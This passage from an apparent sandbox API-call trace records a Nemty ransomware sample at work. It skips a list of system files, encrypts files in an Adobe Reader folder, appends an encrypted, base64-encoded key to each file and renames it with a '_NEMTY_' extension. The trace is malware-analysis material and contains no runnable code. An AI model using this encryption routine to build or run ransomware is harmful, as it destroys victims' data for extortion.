10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0190.943] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0190.944] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0190.944] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.944] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0190.945] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.945] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0190.945] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0190.945] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0190.945] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0190.946] CloseHandle (hObject=0x2f0) returned 1 [0190.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0190.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.946] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0190.946] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0190.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0190.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.946] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.suo._nemty_kgobjgd_")) returned 1 [0190.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0190.946] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.947] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0190.947] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Flash.SVE", cAlternateFileName="")) returned 1 [0190.947] lstrcmpiW (lpString1="Flash.SVE", lpString2=".") returned 1 [0190.947] lstrcmpiW (lpString1="Flash.SVE", lpString2="..") returned 1 [0190.947] lstrcmpiW (lpString1="Flash.SVE", lpString2="...") returned 1 [0190.947] lstrcmpiW (lpString1="Flash.SVE", lpString2="windows") returned -1 [0190.947] lstrcmpiW (lpString1="Flash.SVE", lpString2="$RECYCLE.BIN") returned 1 [0190.947] lstrcmpiW (lpString1="Flash.SVE", lpString2="rsa") returned -1 [0190.947] lstrcmpiW (lpString1="Flash.SVE", lpString2="NTDETECT.COM") returned -1 [0190.947] lstrcmpiW (lpString1="Flash.SVE", lpString2="ntldr") returned -1 [0190.947] lstrcmpiW (lpString1="Flash.SVE", lpString2="MSDOS.SYS") returned -1 [0190.947] lstrcmpiW (lpString1="Flash.SVE", lpString2="IO.SYS") returned -1 [0190.947] lstrcmpiW (lpString1="Flash.SVE", lpString2="boot.ini") returned 1 [0190.947] lstrcmpiW (lpString1="Flash.SVE", lpString2="boot.ini") returned 1 [0190.947] lstrcmpiW (lpString1="Flash.SVE", lpString2="AUTOEXEC.BAT") returned 1 [0190.947] lstrcmpiW (lpString1="Flash.SVE", lpString2="ntuser.dat") returned -1 [0190.947] lstrcmpiW (lpString1="Flash.SVE", lpString2="desktop.ini") returned 1 [0190.947] lstrcmpiW (lpString1="Flash.SVE", lpString2="CONFIG.SYS") returned 1 [0190.947] lstrcmpiW (lpString1="Flash.SVE", lpString2="RECYCLER") returned -1 [0190.947] lstrcmpiW (lpString1="Flash.SVE", lpString2="BOOTSECT.BAK") returned 1 [0190.947] lstrcmpiW (lpString1="Flash.SVE", lpString2="bootmgr") returned 1 [0190.947] lstrcmpiW (lpString1="Flash.SVE", lpString2="programdata") returned -1 [0190.947] lstrcmpiW (lpString1="Flash.SVE", lpString2="appdata") returned 1 [0190.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.947] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SVE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.947] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SVE", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.SVE", lpUsedDefaultChar=0x0) returned 9 [0190.947] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.947] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SVE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.947] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SVE", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.SVE", lpUsedDefaultChar=0x0) returned 9 [0190.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SVE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SVE", cchWideChar=9, lpMultiByteStr=0x653e5a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.SVE", lpUsedDefaultChar=0x0) returned 9 [0190.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SVE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SVE", cchWideChar=9, lpMultiByteStr=0x653e5d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.SVE", lpUsedDefaultChar=0x0) returned 9 [0190.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0190.948] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0190.948] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0190.948] Sleep (dwMilliseconds=0x5) [0190.957] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25776410, dwHighDateTime=0x1d561e8)) [0190.957] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25776410, dwHighDateTime=0x1d561e8)) [0190.957] GetLastError () returned 0x0 [0190.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.958] GetLastError () returned 0x0 [0190.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.958] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0190.958] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0190.958] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0190.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0190.958] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="6rorzv0Itk0W5TnHbfr+ynMOnH3oGA5QB5GvgJL8MuuSP3hX6eNXriLZDKK0vwYd\r\n+hKboQXysmcwDRL+i8xkXBKXay5DPAf3gMsLoTyG3vkr/BYSDUhTiRLUqH9s+0d6\r\n1Vv6UzLUZOk5uTRnP7xoSoDyVSZcILmAY0kzyBbSfLCWi13wgwWW9fc3Pav+PsVh\r\nM3DKtbLyQHSji+uyrU5PLVMsc1bcckqBH49LmwPrTMeRgdGY1nQwpIKDU2DwelV7\r\noqPbfFboJdNmbwz2ik0BQuK0PqhktNAK6rCn9fQRsL6D3ez9Eg0JTkq5FfZBnKQx\r\nJrVDp8pKY1gvOOtgescTkA==\r\n", pcchString=0x653e29c) returned 1 [0190.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0190.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.958] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0190.958] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0190.959] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0190.959] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.959] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0190.960] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.960] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0190.960] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0190.960] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0190.960] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0190.961] CloseHandle (hObject=0x2f0) returned 1 [0190.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0190.961] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.961] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0190.961] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0190.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0190.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.961] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.sve._nemty_kgobjgd_")) returned 1 [0190.961] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0190.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.962] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0190.962] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Mcimpp.CAT", cAlternateFileName="")) returned 1 [0190.962] lstrcmpiW (lpString1="Mcimpp.CAT", lpString2=".") returned 1 [0190.962] lstrcmpiW (lpString1="Mcimpp.CAT", lpString2="..") returned 1 [0190.962] lstrcmpiW (lpString1="Mcimpp.CAT", lpString2="...") returned 1 [0190.962] lstrcmpiW (lpString1="Mcimpp.CAT", lpString2="windows") returned -1 [0190.962] lstrcmpiW (lpString1="Mcimpp.CAT", lpString2="$RECYCLE.BIN") returned 1 [0190.962] lstrcmpiW (lpString1="Mcimpp.CAT", lpString2="rsa") returned -1 [0190.962] lstrcmpiW (lpString1="Mcimpp.CAT", lpString2="NTDETECT.COM") returned -1 [0190.962] lstrcmpiW (lpString1="Mcimpp.CAT", lpString2="ntldr") returned -1 [0190.962] lstrcmpiW (lpString1="Mcimpp.CAT", lpString2="MSDOS.SYS") returned -1 [0190.962] lstrcmpiW (lpString1="Mcimpp.CAT", lpString2="IO.SYS") returned 1 [0190.962] lstrcmpiW (lpString1="Mcimpp.CAT", lpString2="boot.ini") returned 1 [0190.962] lstrcmpiW (lpString1="Mcimpp.CAT", lpString2="boot.ini") returned 1 [0190.962] lstrcmpiW (lpString1="Mcimpp.CAT", lpString2="AUTOEXEC.BAT") returned 1 [0190.962] lstrcmpiW (lpString1="Mcimpp.CAT", lpString2="ntuser.dat") returned -1 [0190.962] lstrcmpiW (lpString1="Mcimpp.CAT", lpString2="desktop.ini") returned 1 [0190.962] lstrcmpiW (lpString1="Mcimpp.CAT", lpString2="CONFIG.SYS") returned 1 [0190.962] lstrcmpiW (lpString1="Mcimpp.CAT", lpString2="RECYCLER") returned -1 [0190.962] lstrcmpiW (lpString1="Mcimpp.CAT", lpString2="BOOTSECT.BAK") returned 1 [0190.962] lstrcmpiW (lpString1="Mcimpp.CAT", lpString2="bootmgr") returned 1 [0190.962] lstrcmpiW (lpString1="Mcimpp.CAT", lpString2="programdata") returned -1 [0190.962] lstrcmpiW (lpString1="Mcimpp.CAT", lpString2="appdata") returned 1 [0190.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.CAT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0190.962] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.CAT", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.CAT", lpUsedDefaultChar=0x0) returned 10 [0190.962] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.CAT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0190.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.CAT", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.CAT", lpUsedDefaultChar=0x0) returned 10 [0190.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.CAT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0190.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.CAT", cchWideChar=10, lpMultiByteStr=0x653e5a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.CAT", lpUsedDefaultChar=0x0) returned 10 [0190.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.CAT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0190.963] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Mcimpp.CAT", cchWideChar=10, lpMultiByteStr=0x653e5d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Mcimpp.CAT", lpUsedDefaultChar=0x0) returned 10 [0190.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0190.963] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0190.963] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0190.963] Sleep (dwMilliseconds=0x5) [0190.973] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2579c570, dwHighDateTime=0x1d561e8)) [0190.973] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2579c570, dwHighDateTime=0x1d561e8)) [0190.973] GetLastError () returned 0x0 [0190.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.973] GetLastError () returned 0x0 [0190.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.973] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0190.973] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0190.973] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0190.973] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0190.974] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: 